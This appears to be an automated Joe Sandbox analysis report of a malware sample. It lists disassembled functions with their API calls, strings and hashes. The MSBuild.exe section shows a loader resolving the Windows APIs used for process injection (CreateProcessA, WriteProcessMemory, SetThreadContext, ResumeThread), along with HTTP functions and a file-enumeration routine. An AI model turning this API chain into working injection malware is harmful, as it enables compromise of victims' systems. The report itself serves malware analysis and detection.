Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 6d5cfdb14ca93b367f8cc67354febb84f32da8ddccb4474df6c53db530983229
Instruction ID: 95661b2057165116860a6038c66ec11d4e46c046280d813a52c9a8c5c356b154
Opcode Fuzzy Hash: 6d5cfdb14ca93b367f8cc67354febb84f32da8ddccb4474df6c53db530983229
Instruction Fuzzy Hash: 3DD113B195016DAADB21EB94DC82BDAB7B9EF04304F5054E3A608B2151DB707F89CFB1

Function 00DBA371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DBA438
___AdjustPointer.LIBCMT ref: 00DBA45B
___AdjustPointer.LIBCMT ref: 00DBA4F7

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2aac31ef1c3c2bca6c9edcc3a6378cd25dc6307e1457ee1309ee719db6566150
Instruction ID: dc0e04b132df1e9ffc5ca901dd76fffbc9c77ef761733e6b88c830efd5fcf707
Opcode Fuzzy Hash: 2aac31ef1c3c2bca6c9edcc3a6378cd25dc6307e1457ee1309ee719db6566150
Instruction Fuzzy Hash: 6551AF72601206DFDB299F58D845BFE77A4EF40310F28442EE85B86291E771ED40DBB2

Function 00DF52D5 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DF52FA
_memset.LIBCMT ref: 00DF5309
_memset.LIBCMT ref: 00DF54C9
_memset.LIBCMT ref: 00DF54DB

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e102237a281954bac3f77adf788a9415850df8a56c72ad5341f7a988880b18b0
Instruction ID: a8806994b8b83bd647f9ebf722c94ca39ecbec1229a71848013b30f3743cb039
Opcode Fuzzy Hash: e102237a281954bac3f77adf788a9415850df8a56c72ad5341f7a988880b18b0
Instruction Fuzzy Hash: 7551E9B1D4026E9BCB51EF24CC82ADCB3BDEF14704F4151E5A718B7152CA346F8A8E64

Function 00DF33D7 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DF33FC
_memset.LIBCMT ref: 00DF3470
_memset.LIBCMT ref: 00DF34E4
_memset.LIBCMT ref: 00DF3558

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e6947b7988c19ba1308586bef22e4c593a96716e1a0a8d66b470caa86840c4aa
Instruction ID: a0fe54031b71953399a8ac225b3f229162c8d3499435e94240ab7ff415f7f7ae
Opcode Fuzzy Hash: e6947b7988c19ba1308586bef22e4c593a96716e1a0a8d66b470caa86840c4aa
Instruction Fuzzy Hash: B741A571D4021DBADB14FB60DC47FE9B368EF09700F2544A6B605E7190DAB4AA888F65

Function 00E03A1D Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E03A29

Part of subcall function 00E019BC: __getptd_noexit.LIBCMT ref: 00E019BF
Part of subcall function 00E019BC: __amsg_exit.LIBCMT ref: 00E019CC

__amsg_exit.LIBCMT ref: 00E03A49
__lock.LIBCMT ref: 00E03A59
_free.LIBCMT ref: 00E03A89

Memory Dump Source

Source File: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: ab098f317f1d6403d4eab1e077bccdc6c3e90b0e722674e65a2ad964507e55dc
Instruction ID: 3df6f3f43a15e18dfea7881fd767edc8ac55edcb3909ffa8492a0590d6a09d6f
Opcode Fuzzy Hash: ab098f317f1d6403d4eab1e077bccdc6c3e90b0e722674e65a2ad964507e55dc
Instruction Fuzzy Hash: 6701C471F01711ABCB11AB78A80576D7374AF04B14F01615AE454776D1C7346EC0CBE6

Function 00DD06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00DCF713,00000000,00000001,00000000,00000000,?,00DC7B44,00000000,00000000,00000000), ref: 00DD0706
GetLastError.KERNEL32(?,00DCF713,00000000,00000001,00000000,00000000,?,00DC7B44,00000000,00000000,00000000,00000000,00000000,?,00DC80CB,00000000), ref: 00DD0712

Part of subcall function 00DD06D8: CloseHandle.KERNEL32(FFFFFFFE,00DD0722,?,00DCF713,00000000,00000001,00000000,00000000,?,00DC7B44,00000000,00000000,00000000,00000000,00000000), ref: 00DD06E8

___initconout.LIBCMT ref: 00DD0722

Part of subcall function 00DD069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DD06C9,00DCF700,00000000,?,00DC7B44,00000000,00000000,00000000,00000000), ref: 00DD06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00DCF713,00000000,00000001,00000000,00000000,?,00DC7B44,00000000,00000000,00000000,00000000), ref: 00DD0737

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 85fbd7a6d4f39f8e62da07418b5d92da9d7f9850e40a6898207ece0f0f322ab8
Instruction ID: 7b29e48d9ec32c532164e048f06bb23550065e1e0895770c9897ffdb0296b342
Opcode Fuzzy Hash: 85fbd7a6d4f39f8e62da07418b5d92da9d7f9850e40a6898207ece0f0f322ab8
Instruction Fuzzy Hash: C7F03036041265BBCF221F95EC09E993FA6FB893A1F054012FA19D5330CA32D920DFB1

Function 00DBA060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00DBA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 00DBA153

Strings

csm, xrefs: 00DBA13D

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5d963ba1541b1b7cc2c5eafc1abcb215a688764ce918062a4587952e00499586
Instruction ID: b3e676e7f35221191bd5b8a24874c038f225d2a17264290cad2e57e34e5e0b72
Opcode Fuzzy Hash: 5d963ba1541b1b7cc2c5eafc1abcb215a688764ce918062a4587952e00499586
Instruction Fuzzy Hash: C7417E34A00318EFCF10DF6CC881ADEBBA5EF45364F148156E816AB352D7759A45CBB2

Function 00DBA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00DBA992

Strings

RCC, xrefs: 00DBA9AC
MOC, xrefs: 00DBA9A4

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: f52ae7b4f16f3c828d34f2730df9b50c89330b70d4da0fba8de1abf058369a3c
Instruction ID: 69bd52be21e69053b1d9fed9aa3c89bb6f62431c27066e49838d2aa646b83b08
Opcode Fuzzy Hash: f52ae7b4f16f3c828d34f2730df9b50c89330b70d4da0fba8de1abf058369a3c
Instruction Fuzzy Hash: 0F41357190020AEFCF16DF98C981AEEBBB5FF48304F198059FA16A7211D3359950DB72

Function 00DB6CA2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DB7643
___raise_securityfailure.LIBCMT ref: 00DB772B

Strings

h, xrefs: 00DB7726

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: h
API String ID: 3761405300-3415971826
Opcode ID: 2d4f60f29342d4f0f90477e1688228ef98f4347f9d9243f0e485c2ff7fd3cde0
Instruction ID: ae655a4d55739d036f2984db04cdeb59abdfcf7afa9978743c4acdde7150cf38
Opcode Fuzzy Hash: 2d4f60f29342d4f0f90477e1688228ef98f4347f9d9243f0e485c2ff7fd3cde0
Instruction Fuzzy Hash: CA21E3B5541308DFE750CF6AF8897903FA4BB88310F10546AE509A6BE0E3B19589CF15

Function 00DB7740 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00DB774B
___raise_securityfailure.LIBCMT ref: 00DB7808

Strings

h, xrefs: 00DB7803

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: h
API String ID: 3761405300-3415971826
Opcode ID: e249aa390f220dc26fb544a8692b77a992b6f732275d9f80cf8b7b87ef6d6e0a
Instruction ID: 0156392726c8729c97bd9c20761661e6bec3b623eeaec9197778b4bcb4d0c6fa
Opcode Fuzzy Hash: e249aa390f220dc26fb544a8692b77a992b6f732275d9f80cf8b7b87ef6d6e0a
Instruction Fuzzy Hash: 5F119DB5511308DFE750CF6AE9896803FB4BB48300B01A96AE809A7BE0E7719589CF56

Function 00DB15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DB15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00DB161E

Part of subcall function 00DB5178: _Yarn.LIBCPMT ref: 00DB5197
Part of subcall function 00DB5178: _Yarn.LIBCPMT ref: 00DB51BB

Strings

bad locale name, xrefs: 00DB162C

Memory Dump Source

Source File: 00000000.00000002.1811167243.0000000000DB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DB0000, based on PE: true

Associated: 00000000.00000002.1811144981.0000000000DB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811203902.0000000000DD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811230468.0000000000DDD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811281579.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811305760.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811329815.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_T2bmenoX1o.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: c1cfbd0e2258fa1e74c5121b3bc56da76ec610bca4c393b466347bff7747c25c
Instruction ID: 25907f8dc9173e3b5de03cd0fcc0f971d697d0b1e42857fc8bcf17000082fc45
Opcode Fuzzy Hash: c1cfbd0e2258fa1e74c5121b3bc56da76ec610bca4c393b466347bff7747c25c
Instruction Fuzzy Hash: 59F0F975545B909E83319F6A9481447FBE4FE282107948A2EE0DEC3A12D630A404CB7A

Analysis Process: MSBuild.exePID: 7300, Parent PID: 7284COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418ADE Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00417456), ref: 00418AF2
GetProcAddress.KERNEL32 ref: 00418B09
GetProcAddress.KERNEL32 ref: 00418B20
GetProcAddress.KERNEL32 ref: 00418B37
GetProcAddress.KERNEL32 ref: 00418B4E
GetProcAddress.KERNEL32 ref: 00418B65
GetProcAddress.KERNEL32 ref: 00418B7C
GetProcAddress.KERNEL32 ref: 00418B93
GetProcAddress.KERNEL32 ref: 00418BAA
GetProcAddress.KERNEL32 ref: 00418BC1
GetProcAddress.KERNEL32 ref: 00418BD8
GetProcAddress.KERNEL32 ref: 00418BEF
GetProcAddress.KERNEL32 ref: 00418C06
GetProcAddress.KERNEL32 ref: 00418C1D
GetProcAddress.KERNEL32 ref: 00418C34
GetProcAddress.KERNEL32 ref: 00418C4B
GetProcAddress.KERNEL32 ref: 00418C62
GetProcAddress.KERNEL32 ref: 00418C79
GetProcAddress.KERNEL32 ref: 00418C90
GetProcAddress.KERNEL32 ref: 00418CA7
GetProcAddress.KERNEL32 ref: 00418CBE
GetProcAddress.KERNEL32 ref: 00418CD5
GetProcAddress.KERNEL32 ref: 00418CEC
GetProcAddress.KERNEL32 ref: 00418D03
GetProcAddress.KERNEL32 ref: 00418D1A
GetProcAddress.KERNEL32 ref: 00418D31
GetProcAddress.KERNEL32 ref: 00418D48
GetProcAddress.KERNEL32 ref: 00418D5F
GetProcAddress.KERNEL32 ref: 00418D76
GetProcAddress.KERNEL32 ref: 00418D8D
GetProcAddress.KERNEL32 ref: 00418DA4
GetProcAddress.KERNEL32 ref: 00418DBB
GetProcAddress.KERNEL32 ref: 00418DD2
GetProcAddress.KERNEL32 ref: 00418DE9
GetProcAddress.KERNEL32 ref: 00418E00
GetProcAddress.KERNEL32 ref: 00418E17
GetProcAddress.KERNEL32 ref: 00418E2E
GetProcAddress.KERNEL32 ref: 00418E45
GetProcAddress.KERNEL32 ref: 00418E5C
GetProcAddress.KERNEL32 ref: 00418E73
GetProcAddress.KERNEL32 ref: 00418E8A
GetProcAddress.KERNEL32 ref: 00418EA1
GetProcAddress.KERNEL32 ref: 00418EB8
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418ECE
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418EE4
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418EFA
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418F10
GetProcAddress.KERNEL32(ResumeThread), ref: 00418F26
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418F3C
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418F52
LoadLibraryA.KERNEL32(00417456), ref: 00418F63
LoadLibraryA.KERNEL32 ref: 00418F74
LoadLibraryA.KERNEL32 ref: 00418F85
LoadLibraryA.KERNEL32 ref: 00418F96
LoadLibraryA.KERNEL32 ref: 00418FA7
LoadLibraryA.KERNEL32 ref: 00418FB8
LoadLibraryA.KERNEL32 ref: 00418FC9
LoadLibraryA.KERNEL32 ref: 00418FDA
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418FEA
GetProcAddress.KERNEL32(75290000), ref: 00419005
GetProcAddress.KERNEL32 ref: 0041901C
GetProcAddress.KERNEL32 ref: 00419033
GetProcAddress.KERNEL32 ref: 0041904A
GetProcAddress.KERNEL32 ref: 00419061
GetProcAddress.KERNEL32(6FDD0000), ref: 00419080
GetProcAddress.KERNEL32 ref: 00419097
GetProcAddress.KERNEL32 ref: 004190AE
GetProcAddress.KERNEL32 ref: 004190C5
GetProcAddress.KERNEL32 ref: 004190DC
GetProcAddress.KERNEL32 ref: 004190F3
GetProcAddress.KERNEL32 ref: 0041910A
GetProcAddress.KERNEL32 ref: 00419121
GetProcAddress.KERNEL32(752C0000), ref: 0041913C
GetProcAddress.KERNEL32 ref: 00419153
GetProcAddress.KERNEL32 ref: 0041916A
GetProcAddress.KERNEL32 ref: 00419181
GetProcAddress.KERNEL32 ref: 00419198
GetProcAddress.KERNEL32(74EC0000), ref: 004191B7
GetProcAddress.KERNEL32 ref: 004191CE
GetProcAddress.KERNEL32 ref: 004191E5
GetProcAddress.KERNEL32 ref: 004191FC
GetProcAddress.KERNEL32 ref: 00419213
GetProcAddress.KERNEL32 ref: 0041922A
GetProcAddress.KERNEL32(75BD0000), ref: 00419249
GetProcAddress.KERNEL32 ref: 00419260
GetProcAddress.KERNEL32 ref: 00419277
GetProcAddress.KERNEL32 ref: 0041928E
GetProcAddress.KERNEL32 ref: 004192A5
GetProcAddress.KERNEL32 ref: 004192BC
GetProcAddress.KERNEL32 ref: 004192D3
GetProcAddress.KERNEL32 ref: 004192EA
GetProcAddress.KERNEL32 ref: 00419301
GetProcAddress.KERNEL32(75A70000), ref: 0041931C
GetProcAddress.KERNEL32 ref: 00419333
GetProcAddress.KERNEL32 ref: 0041934A
GetProcAddress.KERNEL32 ref: 00419361
GetProcAddress.KERNEL32 ref: 00419378
GetProcAddress.KERNEL32(75450000), ref: 00419393
GetProcAddress.KERNEL32 ref: 004193AA
GetProcAddress.KERNEL32(75DA0000), ref: 004193C5
GetProcAddress.KERNEL32 ref: 004193DC
GetProcAddress.KERNEL32(6F070000), ref: 004193FB
GetProcAddress.KERNEL32 ref: 00419412
GetProcAddress.KERNEL32 ref: 00419429
GetProcAddress.KERNEL32 ref: 00419440
GetProcAddress.KERNEL32 ref: 00419457
GetProcAddress.KERNEL32 ref: 0041946E
GetProcAddress.KERNEL32 ref: 00419485
GetProcAddress.KERNEL32 ref: 0041949C
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 004194B2
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 004194C8
GetProcAddress.KERNEL32(75AF0000), ref: 004194E3
GetProcAddress.KERNEL32 ref: 004194FA
GetProcAddress.KERNEL32 ref: 00419511
GetProcAddress.KERNEL32 ref: 00419528
GetProcAddress.KERNEL32(75D90000), ref: 00419543
GetProcAddress.KERNEL32(6F960000), ref: 0041955E
GetProcAddress.KERNEL32 ref: 00419575
GetProcAddress.KERNEL32 ref: 0041958C
GetProcAddress.KERNEL32 ref: 004195A3
GetProcAddress.KERNEL32(6CDF0000,SymMatchString), ref: 004195BD

Strings

HttpQueryInfoA, xrefs: 004194A2
dbghelp.dll, xrefs: 00418FE0
ResumeThread, xrefs: 00418F16
GetThreadContext, xrefs: 00418ED4
InternetSetOptionA, xrefs: 004194B8
CreateProcessA, xrefs: 00418EBE
SetThreadContext, xrefs: 00418F42
VirtualAllocEx, xrefs: 00418F00
SymMatchString, xrefs: 004195B7
ReadProcessMemory, xrefs: 00418EEA
WriteProcessMemory, xrefs: 00418F2C

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: bc716f2625a0e41b2ed4bb766179c27d34b4bc4e0803ef392b74f70fe9059fed
Instruction ID: 5449bedc0755d092c63345477a9aa1600d2668e98cfd9be5b3c345c13cb74e3e
Opcode Fuzzy Hash: bc716f2625a0e41b2ed4bb766179c27d34b4bc4e0803ef392b74f70fe9059fed
Instruction Fuzzy Hash: FF52F975911312AFDF1ADFA0FD0A8243AABFB08203F11B566E91982274D7774B60EF15

Function 00414D08 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D5C
FindFirstFileA.KERNEL32(?,?), ref: 00414D73
_memset.LIBCMT ref: 00414D8F
_memset.LIBCMT ref: 00414DA0
StrCmpCA.SHLWAPI(?,00436A00), ref: 00414DC1
StrCmpCA.SHLWAPI(?,00436A04), ref: 00414DDB
wsprintfA.USER32 ref: 00414E02
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414E16
wsprintfA.USER32 ref: 00414E3F
wsprintfA.USER32 ref: 00414E56

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

_memset.LIBCMT ref: 00414E68
lstrcatA.KERNEL32(?,?), ref: 00414E7D
strtok_s.MSVCRT ref: 00414EC2
